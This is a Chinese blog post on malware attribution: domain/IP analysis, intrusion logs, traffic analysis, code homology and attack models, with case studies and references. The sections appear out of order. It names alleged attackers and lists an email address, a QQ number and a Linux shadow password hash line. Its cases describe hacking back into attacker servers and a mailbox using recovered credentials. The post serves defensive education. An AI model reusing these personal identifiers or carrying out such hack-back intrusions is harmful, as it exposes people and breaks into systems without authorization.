    接下来补充绿盟李东宏老师的系统分析:http://blog.nsfocus.net/trace-source/

    1.恶意攻击流程及溯源方法

    恶意样本溯源追踪主要去了解攻击者或者团队的意图。恶意攻击的活动大概有如下7步骤:

    在这里插入图片描述

    • Reconnaissance:侦查,充分的社会工程学了解目标。
    • Weaponization:定向攻击工具的制作。常见的工具交付形态是带有恶意代码的pdf文件或office文件。
    • Delivery:把攻击工具输送到目标系统上。APT攻击者最常用这三种来传送攻击工具,包括邮件附件、网站(挂马)、USB等移动存储。
    • Exploitation:攻击代码在目标系统触发,利用目标系统的应用或操作系统漏洞控制目标。
    • Installation:远程控制程序的安装。使得攻击者可以长期潜伏在目标系统中。
    • Command and Control (C2) :被攻破的主机一般会与互联网控制器服务器建立一个C2信道,即与C2服务器建立连接。
    • Actions on Objectives:经过前面六个过程,攻击者后面主要的行为包括:偷取目标系统的信息,破坏信息的完整性及可用性等。进一步以控制的机器为跳转攻击其它机器,扩大战果。

    追踪溯源方法
    恶意样本的追踪溯源需要以当前的恶意样本为中心,通过对静态特征和动态行为的分析,解决如下问题:

    • 谁发动的攻击?
    • 攻击背景是什么?
    • 攻击的意图是什么?
    • 谁编写的样本?
    • 样本使用了哪些攻击技术?
    • 攻击过程中使用了那些攻击工具?
    • 整个攻击过程路径是怎样的?

    恶意样本追踪溯源可以采取如下方法:

    • 全流量分析
    • 同源分析
    • 入侵日志
    • 域名/IP
    • 攻击模型

    在这里插入图片描述


    2.域名/IP

    这种溯源方法是最基本的方法,通过对攻击者使用的域名和IP地址进行分析,挖掘攻击源头。查询域名的whois信息,可以关联到攻击者部分信息,如注册名、注册邮箱、注册地址、电话、注册时间、服务商等。

    在这里插入图片描述

    下面是通过样本分析对域名进行溯源分析的典型案例:

    案例1:
    Checkpoint经过细致分析后,最终归纳出一个首要嫌疑犯,即昵称为“Nexxus Zeta”的一个犯罪分子,原因在于攻击者在注册僵尸网络的某个C&C域名(nexusiotsolutions.net)时,所使用的邮箱地址包含相关信息。

    该邮件地址(nexuszeta1337@gmail.com)与C&C域名有一些交集,因此怀疑这个地址并不是一次性邮件地址,可以根据该地址来揭晓攻击者的真实身份。当搜索Nexus Zeta 1337时,在HackForums上找到了一个活跃的成员,该成员的用户昵称为“Nexus Zeta”,自2015年8月起已经是HackForums的一份子。虽然这个人在这种论坛上活跃度很低,但他发表了几篇帖子,从这些帖子中并没有发现他的专业水平有多高。不过有趣的是,他最近关注的是如何建立起类似Mirai的IoT僵尸网络。

    在这里插入图片描述

    “NexusZeta”在社交媒体上也颇为活跃,主要是在Twitter以及Github上,他在这两个平台上都公布了自己的IoT僵尸网络项目。实际上,这个人还将其Github账户关联到前面提到的某个恶意域名(nexusiotsolutions.net)。分析人员也找到了他所使用的Skype以及SoundCloud账户,使用人名为Caleb Wilson(caleb.wilson37 / Caleb Wilson 37),然而无法确定这个名字是否就是其真实姓名。

    在这里插入图片描述

    在这里插入图片描述

    样本分析及详细的溯源分析内容可参考链接:https://research.checkpoint.com/good-zero-day-skiddie/


    案例2:
    样本分析过程中,通过网络抓包,获取到攻击者的控制域名信息:

    在这里插入图片描述

    域名信息关联后,如下图所示:

    在这里插入图片描述

    这里点到为止,对上述信息进行进一步分析后,最终可定位到攻击者本人,并且最终成功接管攻击控制的域名。

    在这里插入图片描述

    案例3:
    通过分析获取到的样本,该样本为downloader程序,主要通过下载恶意软件之后运行,下载的IP地址如下所示:

    在这里插入图片描述

    对该IP进行渗透测试,最终获取到主机权限,通过对攻击者掌握的主机进行深入分析,最终定位到攻击者相关信息。

    在这里插入图片描述


    3.入侵日志

    这种溯源分析方法偏向于主机取证分析,攻击者在入侵到主机后的行为分析。对攻击者留下的大量操作日志进行分析后,可以提取相关攻击者的信息,包括:

    • 连接服务器使用VPS信息。
    • 登陆主机后,一般为了维持对主机的访问权限,会尝试创建自己的账号及密码。
    • 攻击者为了偷取数据,使用的ftp或者数据服务器信息。
    • 通过对攻击者的登陆时间进行分析,可以基本定位所在大区域(北半球,南半球)。
    • 登陆主机后的操作模型,不同的攻击者,入侵成功后进行的行为有差异,每个人都有自己的行为指纹特征。

    简单举个例子,不少攻击者习惯使用自动化的工具,去提取主机上的敏感信息(网站,邮箱,比特币,网银等账号密码),入侵成功后(钓鱼,社工,水坑攻击等),会在受害者机器上安装间谍软件,进行主机行为监控,并且定时将截获的敏感信息上传到服务上。

    大多使用三种通信方式窃取敏感信息:ftp、smtp、http。


    案例1:
    通过分析入侵日志,最终分析其留的监控程序,溯源分析的案例,该样本中攻击者使用加密的smtp服务器窃取敏感信息,在样本分析过程中可以获取到邮箱的用户名与密码:

    在这里插入图片描述

    利用获取到的登陆凭证可成功登陆攻击者邮箱:

    在这里插入图片描述

    在邮件内容中,发现了攻击者的真实邮箱,之后通过进一步溯源分析,定位到了攻击者。下图是攻击者真实的twitter账号:

    在这里插入图片描述

    案例2:
    攻击者在入侵成功后,留下的启动脚本中包含了攻击者的个人网络id,通过对该网络ID及QQ号码进行溯源分析,最终也成功定位到攻击者。

    QQ: 2228668564
    ID: icnanker
    shadow:
    icnanker:$6$EIZwhnAX$m/IclCqhsFOBaZEgT2mVCYFy5bKH75rJ8Rlh/hwGs7De
    R5AovmhrLS.V3naL6oizn6FCViwqKn6k9gqmoYNhs0:16866:0:99999:7:::

    在这里插入图片描述


    4.全流量分析

    某些攻击者或者组织的反跟踪意识非常强,基本上不会留下任何痕迹,在达成入侵目的之后(窃取数据),会完全清除入侵痕迹,或者干脆销毁主机硬盘。

    例如:2015年乌克兰电厂遭受攻击之后,攻击者利用killdisk组件销毁了全部数据。当然有些也不会留下在主机上的任何操作痕迹,部分勒索软件也是通过同样的手段进行痕迹擦除。这类案例也非常多,基本上在受害者机器上找不到任何痕迹,这时进行全流量分析溯源就相当有效了。

    例如:以2017年Flareon 4th逆向挑战赛最后一题为例。

    在这里插入图片描述

    描述了一个APT攻击场景,需要通过分析数据包及PE文件,还原整个攻击过程。从网络下载加密的恶意代码在本地进行解密:

    在这里插入图片描述

    解密后的内容为一个远控端,其和主控端的通讯流量通过了全加密,网络传输数据格式如下:

    在这里插入图片描述

    相关的加解密及功能模块如下:

    在这里插入图片描述

    过流量分析发现攻击者入侵行为如下:

    • 黑客入侵到168.221.91后,先获取了屏幕截图(内容包含了一个密码)。
    • 查看c:\work\FlareOn2017\Challenge_10\TODO.txt,发现larry相关提示(根据前期信息收集结果,可以知道johnson主机名)。
    • 通过ping命令获取到内网johnson主机IP地址(192.168.221.105)。
    • 使用psexec在johnson的主机上安装后门srv2.exe(监听本地16452端口)。
    • 之后通过内网代理连接该后门,通过代理插件上传加密模块到了johnson的主机上c:\staging\cf.exe。
    • 利用加密程序(exe)对lab10的文件进行加密,之后将原始文件删除,并且通过代理传到了黑客手里。

    该案例中仅通过全流量分析,最终还原整个入侵过程、黑客攻击行为以及窃取的内容,而在真实的环境中需要结合入侵日志进一步对恶意样本攻击进行追踪溯源。


    5.同源分析

    该方法主要为在获取到恶意样本后,很难第一时间关联到攻击者或者恶意样本提供者的信息,但是可以通过和历史恶意代码进行相似度分析,获得历史攻击事件,从而关联到相应的组织或团体。这种溯源方法多用于定位APT组织或者某些知名的黑客团体(方程式)的行动,需要投入大量的人力,时间去完成溯源跟踪分析。

    APT组织或者知名黑客团队,一般都有各自的工具定制开发部门,负责各类工具的开发,以及漏洞利用工具的量产(从今年4月份泄露的方程式组织内部的工具以及CIA泄露的部分文档就可以看出端倪)。其部分划分组织架构都非常清晰,有专门负责工具开发的部门,例如:远控开发部门,硬件研究部门,漏洞挖掘部门,漏洞利用工具编写的部门等。

    (1) 设计思路
    每个程序员在软件实现的时候,会使用自己比较熟悉的一套代码风格和实现算法,每个团伙或者组织在攻击目标时也会有一套自己特有的攻击方法,针对恶意样本可以通过行为日志的相似度、代码混淆风格以及相关的实现算法进行同源判定。

    例如:利用“破壳”漏洞投放的6个Bot具有同源性。

    在这里插入图片描述

    图片来源:安天

    (2) 编码特征
    程序员在开发过程中,经常会复用部分现有代码(加密算法,功能模块),以提高开发效率。样本分析人员通过跟踪分析某组织的大量攻击样本后,对其工具开发人员的编码风格(函数变量命名习惯,语种信息等),编程习惯有了深入了解。在此基础上,就能够通过编码风格准确溯源到相关组织。

    下面是今年5月份爆发的wanncry蠕虫的溯源分析的案例:
    https://blog.comae.io/wannacry-links-to-lazarus-group-dcea72c99d2d

    Google研究者Neel Mehta在Twitter率先发布消息称,早期的WannaCry样本与Lazarus团伙使用的一款后门程序Contopee存在较高相似度。稍后卡巴斯基和赛门铁克研究者基于此发布了更多分析结果。并且给出了代码相似度对比的图,以证明其推论:

    在这里插入图片描述

    (3) 通讯协议
    每个恶意样本为了和之前的版本通讯协议进行兼容,一般会复用之前的通讯协议代码,通过跟踪分析通讯数据的格式特征进行同源判定。

    Billgates上线数据格式如下图所示:
    在这里插入图片描述

    Xitele上线数据包格式如下图所示:

    在这里插入图片描述

    通过对比上面两个恶意样本上线包数据格式特征可以判定其为同源样本。


    (4) 数字证书
    数字证书是一个经证书授权中心数字签名的包含公开密钥拥有者信息以及公开密钥的文件。最简单的证书包含一个公开密钥、名称以及证书授权中心的数字签名。数字证书还有一个重要的特征就是只在特定的时间段内有效。

    数字证书是一种权威性的电子文档,可以由权威公正的第三方机构,即CA中心签发的证书,也可以由企业级CA系统进行签发。恶意软件为了躲避安全软件的检测,会使用数字证书对代码进行签名,而签名证书中的颁发给部分包含了软件的开发商的相关信息。

    在这里插入图片描述


    6.攻击模型

    这种溯源方法主要见于某些专业化程度比较高的个人或者组织,他们有自己的攻击常规套路,并且长期专注于一个领域的攻击。

    案例1:
    之前的一次应急分析过程中遇到一个团伙,主要进行ssh弱口令爆破,该团队的就主要关注于ssh弱口令爆破,通过对该团队的溯源分析,了解到其攻击模型是:

    • 扫描全网开放ssh服务端口的主机。
    • 根据开放服务端口号,将每个端口号对应的ip保存到一个文件中。
    • 并且定时的会对全网全端口进行扫描探测以便及时更新攻击目标数据。
    • 对存在ssh弱口令的主机进行攻击。
    • 利用成功入侵的主机作为节点,继续进行ssh弱口令爆破。
    • 旨在构造一个大型的botnet系统。

    除上面该实例外,还遇到不少,利用单一漏洞进行攻击的案例,如:struts2框架漏洞以及近期发现某团队利用webloglic WLS漏洞进行入侵挖矿的案例。


    案例2:
    下面举一个最有名的例子,2016年10月爆发的Mirai僵尸网络曾经一度使互联网产生恐慌,通过溯源分析最终定位到了该僵尸网络的作者。

    Mirai僵尸网络就是一个很好的例子,攻击者主要利用物联网设备默认口令的问题,感染大量设备,之前沟通对其攻击模型的匹配,可以清楚的了解的组织的活动轨迹,并且通过对每一次活动留下的线索进行关联分析,最终定位到了攻击者团伙。

    美国司法部最终披露称,三名男子就创建Mirai恶意软件并利用Mirai僵尸网络攻击多个目标的事实表示认罪。从法庭文档来看,这三名男子的名字是Paras Jha、Josiah White和Dalton Norman。


    案例3:
    在一次应急响应中通过取证分析,了解到攻击使用的攻击模型如下:

    • 注册域名,根据攻击目标选择有意义的域名。
    • 在GitHub上注册一个新账户和创建一个开源项目。
    • 编译源码后捆绑恶意软件,一般选择advanced installer作为捆绑打包器(还有AutoIt,NSIS)。
    • 发布到搭建的网站上。
    • 在互联网上发布推广其软件。
    • 窃取用户敏感数据(账号密码)。
    • 进行数据直接套现,或者通过信息倒卖平台间接变现。

    在这里插入图片描述

    之后利用该攻击模型对样本库中的文件进行筛选,定位到另外3套与该模型完全匹配的案例,进一步分析匹配到的样本后,首先确认了该4套样本出于同一开发团队,经过溯源分析准确定位到了攻击者。

    溯源分析旨在通过现象去发掘样本背后的故事,没有固定的套路可循,在分析过程中,要像侦探破案一样,大胆心细,不放过任何细枝末节,是一场人与人之间斗智斗勇的过程。

    “天网恢恢疏而不漏“,溯源篇旨在抛砖引玉,将感兴趣的读者带入这个谜一样的世界!以上纯属笔者个人的观点角度,意在抛砖引玉,引发读者去思考作为一名合格的恶意样本分析人员应该具备那些技能?仁者见仁智者见智点到为止。

    不过有一点可以确认单纯掌握样本分析技能是远远不够的。下面列举了几个方向,感兴趣的读者可以去进行深入学习:

    • 渗透测试
    • 应急响应
    • 取证分析
    • 数据分析
    • 漏洞分析

    掌握上述技能后,以守为攻,变换角色,从多个维度去进行样本分析攻击溯源,进而输出高质量的样本分析报告。


    五.总结

    严峻的网络安全对抗和博弈形势,使得对恶意代码的演化与溯源技术的研究价值凸显,学术界、产业界近年来分别从攻击和防护两个方面展开了深入的研究。前文基于已有的研究总结了恶意代码的生成过程和编码特征,并对来自产业界、学术界恶意代码的溯源机理和溯源对抗方法进行了详细描述。

    目前,学术界和产业界在恶意代码溯源技术方面取得了较大的进步,在追踪恶意代码组织、黑客组织(攻击者)、发现未知恶意代码方面取得了部分研究成果,例如海莲花、白象、方程式组织等典型 APT 攻击计划和黑客团队的不断曝光,但依然存在不足和挑战。

    写到这里,这篇基础性文章就此结束,最后希望这篇基础性文章对您有所帮助。突然发现,作者已经写了599篇文章了,非常值得纪念,今后也希望帮到更多的读者。也觉得自己的技术好浅,要学的知识好多,读博真心不容易,之前很少遇到睡不着觉,这学期很多次惊醒,希望自己这四年能不断成长,身体和心理都健康!一定要好好的,有时候只是看着开心阳光,其背后的苦和痛都要去炼化,祝福所有博士战友们。

    (By:Eastmount 2021-06-21 晚上11点写于武汉 http://blog.csdn.net/eastmount/ )


    参考文献:

    • [1]姜建国,王继志,孔斌,等. 网络攻击溯源追踪技术研究综述[J]. 信息安全学报, 2018,3(1):111-131.
    • [2]刘剑,苏璞睿,杨珉,等. 软件与网络安全研究综述[J]. 软件学报, 2018,29(1):42-68.
    • [3]赫尧,陈周国,蒲石,黄宸. 多源网络攻击追踪溯源技术研究[J]. 通信技术, 2013,46(12):77-81.
    • [4]袁得嵛,高见,叶萌熙,王小娟. 基于拓扑扩展的在线社交网络恶意信息源定位算法[J]. 计算机科学, 2019,46(5): 129-134.
    • [5]恶意代码演化与溯源技术研究[J]. 软件学报, 2019,30(8): 2229−2267.
    • [6]李东宏.恶意样本分析手册——溯源篇.2018. http://blog.nsfocus.net/trace-source/.
    • [7]钱雨村,彭国军,王滢,梁玉. 恶意代码同源性分析及家族聚类[J]. 计算机工程与应用, 2015, 51(18): 76−81.
    • [8]Ge YW, Kang F, Peng XX. Homology analysis of malicious code based on dynamic BP neural network. Journal of Chinese Computer System, 2016,37(11):2527−2531.
    • [9]Faruki P, Laxmi V, Bharmal A, Gaur M, Ganmoor V. Androsimilar: Robust signature for detecting variants of android malware. Joural of Information Security and Applications, 2015,22:66−80.
    • [10]Perdisci R, Lanzi A, Lee W. Mcboost: Boosting scalability in malware collection and analysis using statistical classification of executables. In: Proc. of the ACSAC. 2008. 301−310.
    • [11]Ki Y, Kim E, Kim HK. A novel approach to detect malware based on API call sequence analysis. Int’l Journal of Distributed Sensor Networks, 2015,11(6):No.659101.
    • [12]Crussell J, Gibler C, Chen H. Attack of the clones: Detecting cloned applications on android markets. In: Proc. of the European Symp. on Research in Computer Security. Berlin, Heidelberg: Springer-Verlag, 2012. 37−54.
    • [13]Sun X, Zhongyang YB, Xin Z, Mao B, Xie L. Detecting code reuse in Android applications using component-based control flow graph. In: Proc. of the ICT. Springer-Verlag, 2014. 142−155.
    • [14]Wu L, Ping R, Ke L, Hai D. Behavior-Based malware analysis and detection. In: Proc. of the 2011 1st Int’l Workshop on Complexity and Data Mining (IWCDM). New York: IEEE, 2011. 39−42.
    • [15]A biologically inspired immune system for computers. In: Proc. of the Artificial Life IV: 4th Int’l Workshop on the Synthesis and Simulation of Living Systems. MIT Press, 2011. 130−139.
    • [16]Kolosnjaji B, Zarras A, Webster G, Eckert C. Deep learning for classification of malware system call sequences. In: Proc. of the Australasian Joint Conf. on Artificial Intelligence. Cham: Springer-Verlag, 2016. 137−149.
    • [17]Zhao BL, Meng X, Han J, Wang J, Liu FD. Homology analysis of malware based on graph. Journal on Communications, 2017, 38(Z2):86−93 (in Chinese with English abstract).
    • [18]Awad RA, Sayre KD. Automatic clustering of malware variants. In: Proc. of the 2016 IEEE Conf. on Intelligence and Security Informatics (ISI). IEEE, 2016. 298−303.
    • [19]Crussell J, Gibler C, Chen H. Andarwin: Scalable detection of semantically similar Android applications. In: Proc. of the European Symp. on Research in Computer Security. Springer, Berlin, Heidelberg, 2013. 182−199.
    • [20]Qiao Y, Yun X, Zhang Y. How to automatically identify the homology of different malware. In: Proc. of the 2016 IEEE Trustcom/ BigDataSE/I SPA. IEEE, 2016. 929−936.
    • [21]Faruki P, Laxmi V, Bharmal A, Gaur M, Ganmoor V. Androsimilar: Robust signature for detecting variants of android malware. Joural of Information Security and Applications, 2015,22:66−80.
    • [22]Suarez-Tangil G, Tapiador JE, Peris-Lopez P, Blasco J. Dendroid: A text mining approach to analyzing and classifying code structures in Android malware families. Expert Systems with Applications, 2014,41(4):1104−1117.
    • [23]Cesare S, Xiang Y, Zhou W. Control flow-based malware variant detection. IEEE Trans. on Dependable and Secure Computing, 2014,11(4):307−317.
    • [24]Fredrikson M, Jha S, Christodorescu M, Sailer R, Yan X. Synthesizing near-optimal malware specifications from suspicious behaviors. In: Proc. of the 2010 IEEE Symp. on Security and Privacy (Oakland 2010). 2010. 45−60.
    • [25]Kim J, Kim TG, Im EG. Structural information based malicious app similarity calculation and clustering. In: Proc. of the 2015 Conf. on Research in Adaptive and Convergent Systems. ACM Press, 2015. 314−318.
    • [26]Feizollah A, Anuar NB, Salleh R, Amalina F. Comparative study of k-means and mini batch k-means clustering algorithms in Android malware detection using network traffic analysis. In: Proc. of the 2014 Int’l Symp. on Biometrics and Security Technologies (ISBAST). IEEE, 2014. 193−197.
    • [27]Niu Z, Qin Z, Zhang J, Yin H. Malware variants detection using density based spatial clustering with global opcode matrix. In: Proc. of the Int’l Conf. on Security, Privacy and Anonymity in Computation, Communication and Storage. Cham: Springer-Verlag, 2017. 757−766.
    • [28]Zhao BL, Meng X, Han J, Wang J, Liu FD. Homology analysis of malware based on graph. Journal on Communications, 2017, 38(Z2):86−93 (in Chinese with English abstract).
    展开全文
  • 本文主要结合作者的《系统安全前沿》作业,相关论文及绿盟李东宏老师的博客,从产业界和学术界分别详细讲解恶意代码攻击溯源的相关知识。在学术界方面,用类似于综述来介绍攻击追踪溯源的不同方法;在产业界方面,...

    本文主要结合作者的《系统安全前沿》作业,论文及绿盟李东宏老师的博客,从产业界和学术界分别详细讲解恶意代码攻击溯源的相关知识。在学术界方面,用类似于综述来介绍攻击追踪溯源的不同方法;在产业界方面,主要参考李东宏老师从企业恶意样本分析的角度介绍溯源工作。关于攻击溯源的博客和论文都比较少,希望这篇文章对您有所帮助,如果文章中存在错误或理解不到位的地方,还请告知作者与海涵~

    这是作者的系列网络安全自学教程,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力。

    下载地址:https://github.com/eastmountyxz/NetworkSecuritySelf-study
    资源下载地址:

    前文学习:
    [网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
    [网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登录加密入门笔记
    [网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
    [网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
    [网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
    [网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向破解
    [网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
    [网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
    [网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
    [网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
    [网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
    [网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
    [网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
    [网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通信(一)
    [网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
    [网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防护
    [网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
    [网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
    [网络安全自学篇] 十九.Powershell基础入门及常见用法(一)
    [网络安全自学篇] 二十.Powershell基础入门及常见用法(二)
    [网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
    [网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
    [网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
    [网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
    [网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防御初探
    [网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用
    [网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)
    [网络安全自学篇] 二十八.文件上传漏洞和Caidao入门及防御原理(一)
    [网络安全自学篇] 二十九.文件上传漏洞和IIS6.0解析漏洞及防御原理(二)
    [网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御(三)
    [网络安全自学篇] 三十一.文件上传漏洞之Upload-labs靶场及CTF题目01-10(四)
    [[网络安全自学篇] 三十二.文件上传漏洞之Upload-labs靶场及CTF题目11-20(五)]
    [网络安全自学篇] 三十三.文件上传漏洞之绕狗一句话原理和绕过安全狗(六)

    前文欣赏:
    [渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
    [渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
    [渗透&攻防] 三.数据库之差异备份及Caidao利器
    [渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包

    声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。


    一.前言

    近年来,网络安全事件和恶意代码攻击层出不穷,它们给国家、社会和个人带来了严重的危害,如分布式拒绝服务攻击(DDoS)、基于僵尸网络(Botnet)的攻击、勒索病毒WannaCry、高级可持续威胁(APT)攻击、利用远程控制木马的信息窃取等。

    2017年以来,恶意代码数量依然呈上升的趋势,尤其是新型恶意代码,其数量始终呈逐年递增状态,这对网络空间安全造成了极大的威胁。在这些恶意代码攻击中, 攻击者会向目标主机(受害主机),发送特定的攻击数据包或执行恶意行为。如果能追踪这些攻击数据包的来源,定位攻击者的真实位置,受害主机不但可以采用应对措施,如在合适位置过滤攻击数据包,而且可以对攻击者采取法律手段。因此在网络取证和安全防御领域,网络攻击溯源一直是一个热点问题。

    下图展示了APT组织Lazarus(APT38)的重大攻击时间线。如果某次攻击发生时或发生前,我们能够追踪溯源到是某个组织发起的,那是不是就能有效避免一次安全攻击呢?
    强推这篇文章:APT组织Lazarus的攻击历程 - Freebuf深信服团队

    在这里插入图片描述

    网络攻击追踪溯源旨在利用各种手段追踪网络攻击的发起者。相关技术提供了定位攻击源和攻击路径,针对性反制或抑制网络攻击,以及网络取证能力,其在网络安全领域具有非常重要的价值。当前,网络空间安全形势日益复杂,入侵者的攻击手段不断提升,其躲避追踪溯源的手段也日益先进,如匿名网络、网络跳板、暗网、网络隐蔽信道、隐写术等方法在网络攻击事件中大量使用,这些都给网络攻击行为的追踪溯源工作带来了巨大的技术挑战。

    传统的恶意代码攻击溯源方法是通过单个组织的技术力量,获取局部的攻击相关信息,无法构建完整的攻击链条,一旦攻击链中断,往往会使得前期大量的溯源工作变得毫无价值。同时,面对可持续、高威胁、高复杂的大规模网络攻击,没有深入分析攻击组织之间的关系,缺乏利用深层次恶意代码的语义知识,后续学术界也提出了一些解决措施。

    下图展示了Lazarus盗窃孟加拉国央行的行动流程,通过Alreay攻击组件篡改SWIFT软件,使得黑客能够操作银行账号任意进行转账,从而窃取了8100万美元。同时,在2017年最早版本的WannaCry病毒中,安全厂商发现了其中存在着Lazarus使用过的代码,从而判断该病毒是由Lazarus制作的。Lazarus确实是一支非常厉害的APT组织。

    在这里插入图片描述

    为了进一步震慑黑客组织与网络犯罪活动,目前学术界和产业界均展开了恶意代码溯源分析与研究工作。其基本思路是:

    • 同源分析: 利用恶意样本间的同源关系发现溯源痕迹,并根据它们出现的前后关系判定变体来源。恶意代码同源性分析,其目的是判断不同的恶意代码是否源自同一套恶意代码或是否由同一个作者、团队编写,其是否具有内在关联性、相似性。从溯源目标上来看,可分为恶意代码家族溯源及作者溯源。
    • 家族溯源: 家族变体是已有恶意代码在不断的对抗或功能进化中生成的新型恶意代码,针对变体的家族溯源是通过提取其特征数据及代码片段,分析它们与已知样本的同源关系,进而推测可疑恶意样本的家族。例如,Kinable等人提取恶意代码的系统调用图,采用图匹配的方式比较恶意代码的相似性,识别出同源样本,进行家族分类。
    • 作者溯源: 恶意代码作者溯源即通过分析和提取恶意代码的相关特征,定位出恶意代码作者特征,揭示出样本间的同源关系,进而溯源到已知的作者或组织。例如,Gostev等通过分析Stuxnet与Duqu所用的驱动文件在编译平台、时间、代码等方面的同源关系,实现了对它们作者的溯源。2015年,针对中国的某APT攻击采用了至少4种不同的程序形态、不同编码风格和不同攻击原理的木马程序,潜伏3年之久,最终360天眼利用多维度的“大数据”分析技术进行同源性分析,进而溯源到“海莲花”黑客组织。

    在这里插入图片描述

    由此可见,发现样本间的同源关系对于恶意代码家族和作者的溯源,甚至对攻击组织的溯源以及攻击场景还原、攻击防范等均具有重要意义。


    二.恶意代码攻击溯源的相关研究

    1.恶意代码溯源

    在与恶意样本的的对抗过程中,恶意软件分析和检测技术也在不断发展。基于静态分析的检测、基于动态分析的检测以及基于机器学习的检测等技术不断涌现。基于静态分析的检测对非混淆样本更为准确,而基于动态分析的检测在检测混淆恶意软件方面表现更为出色;基于机器学习的检测是通过对大规模恶意样本进行特征提取(如 API(application programming interface)、CFG(control flow graph)、关键字符串值等),然后采用机器学习算法(例如分类或聚类)训练样本,以构建模型判断软件的恶意特性。这为安全研究人员提供了良好的辅助功能,有效地提高了大规模恶意软件的检测速度。

    恶意代码溯源: 是指通过分析恶意代码生成、传播的规律以及恶意代码之间衍生的关联性,基于目标恶意代码的特性实现对恶意代码源头的追踪。了解恶意代码的演化,有助于更好地把握恶意代码的发展趋势,为攻击追踪溯源提供相关启示。文献[5]从时间维度给出了恶意软件典型功能演变历程,并将恶意软件的演化历程分为3个阶段。

    • 第一阶段为1971年至1999年,恶意软件主要以原始程序的形式出现,恶意软件功能单一,破坏程度小,无对抗行为。
    • 第二阶段为2000年至2008年,恶意软件的破坏性增强,恶意软件及其工具包数量急剧增长,借助网络感染速率加快,电子邮件类蠕虫、受损网站、SQL注入攻击成为主流。
    • 第三阶段为2000年之后,经济利益和国家利益的驱使下的恶意软件存在团队协作紧密、功能日趋复杂、可持续性强及对抗性强等特点。

    PC端恶意软件的演化及影响详见下表:

    时间段 代表样本 软件类型 目的或影响 样本功能技术特征
    1971 Creeper 一般程序 实验 能够在计算机之间移动
    1974 Wabbit 一般程序 致使系统奔溃 具有自我复制功能
    1982 Elk cloner 病毒 克隆 具有传播、自我复制功能
    1986 PC-Write trojan 病毒 测试公司软件漏洞 可以感染MS-DOS计算机
    1991 Michelangelo virus 病毒 在3月6日擦除硬盘中信息 感染,擦除硬盘信息
    1999 Melissa virus 病毒 群发邮件 感染计算机,获取其outlook地址薄,群发邮件
    2000 ILOVEYOU worm 蠕虫 损害大型企业和政府机构 以良性主题发送电子邮件传播,感染5000万台计算机,蔓延至全球.
    2001 Annna Kournikova virus 病毒 传播恶意软件,进行破坏 将恶意软件隐藏在吸引人的照片中,通过电子邮件发送进行传播
    2003 SQL slammer worm 蠕虫 感染计算机实施破坏 利用漏洞,传播速度快,感染范围广
    2005 Koobface virus 病毒 针对社交网络进行攻击 感染PC然后传播到社交网站
    2008 ConFicker worm 蠕虫 造成自Slammer出现以来最严重破坏 感染并实施破坏
    2010 Stuxnet worm 蠕虫 攻击伊朗的核电站,包括其硬件与软件功能 具有APT团队开发的复杂性和先进性,具有密集资源信息
    2011 Zeus trojan 木马 窃取银行信息 影响范围广,通过浏览器按键记录和 表单抓取来窃取银行信息.
    2014 Backoff 后门 盗取信用卡数据 破坏POS系统以窃取信用卡数据
    2017 Wannacry ransomware 勒索软件 获取支付赎金 利用漏洞,将用户数据锁定,致使感染150多个 国家超过23万台Windows系统瘫痪

    网络攻击追踪溯源按照追踪的深度和精准度可分为:

    • 追踪溯源攻击主机
    • 追踪溯源攻击控制主机
    • 追踪溯源攻击者
    • 追踪溯源攻击组织机构

    常用方法包括域名/IP地址分析、入侵日志监测、全流量分析、同源分析、攻击模型分析等。为了进一步防御网络犯罪活动和威慑黑客组织,目前学术界和产业界均展开了恶意代码溯源分析与研究工作。


    下图展示了网络追踪溯源体系结构:

    在这里插入图片描述

    网络追踪溯源常用工具包括:磁盘和数据捕获工具、文件查看器、文件分析工具、注册表分析工具、互联网分析工具、电子邮件分析工具、移动设备分析工具、网络流量取证工具、数据库取证工具等。

    在这里插入图片描述

    推荐三篇相关工具及技术的文章:


    2.追踪溯源案例

    这里分享两个简单的案例,一个是铁人王进喜案例,另一个是Lazarus溯源案例。

    (1) 铁人王进喜案例
